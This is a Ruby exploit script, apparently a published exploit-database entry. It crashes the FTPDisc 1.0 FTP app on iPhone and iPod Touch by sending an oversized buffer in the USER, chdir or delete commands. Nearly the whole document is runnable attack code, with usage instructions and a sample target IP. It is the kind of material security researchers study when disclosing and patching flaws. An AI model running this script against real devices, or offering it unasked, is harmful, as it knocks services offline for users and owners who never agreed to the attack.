###############
# Title -> iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS
# Model -> Tested on iPod Touch 3G 3.1.3
# Software -> FTPDisc 1.0 and FTPDisc 1.0 Lite http://itunes.apple.com/es/app/ftpdisc-lite-pdf-reader/id329157971?mt=8
# Attacker -> Tested from GNU/Linux (Sidux), fuzzing with a future PenTBox version :P
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit caused by Buffer Overflow
#
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############
require "socket"
require "net/ftp"
expl = ARGV[0]
host = ARGV[1]
puts ""
if !expl || !host
puts "HELP - iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS"
puts ""
puts "Exploits: 1 - USER [MALFORMED] 2 - cd [MALF] 3 - delete [MALF]"
puts ""
puts "- Usage: ftpdisc3io.rb [numberofexploit] [host]"
puts "- Example: ftpdisc3io.rb 1 192.168.1.2"
puts ""
else
buffer = "A"
10.times do
buffer = "#{buffer}#{buffer}" # Here de big buffer to send
end
if expl == "1" # EXPLOIT 1
begin
socket = TCPSocket.new(host, 21)
puts "[*] Exploiting ..."
socket.write("USER #{buffer}\r\n")
puts "[*] Succesfully exploited! :)"
rescue
puts "Connection problem"
end
elsif expl == "2" || expl == "3"
begin
print "[*] Connecting to FTP ... "
ftp = Net::FTP.new(host, "anonymous")
puts "OK"
puts "[*] Exploiting ..."
if expl == "2"
begin
ftp.chdir(buffer) # EXPLOIT 2
rescue
end
else
begin
ftp.delete(buffer) # EXPLOIT 3
rescue
end
end
puts "[*] Succesfully exploited! :)"
rescue
puts "Connection problem"
end
else
puts "Incorrect exploit selection (1, 2, 3)"
end
end
puts ""
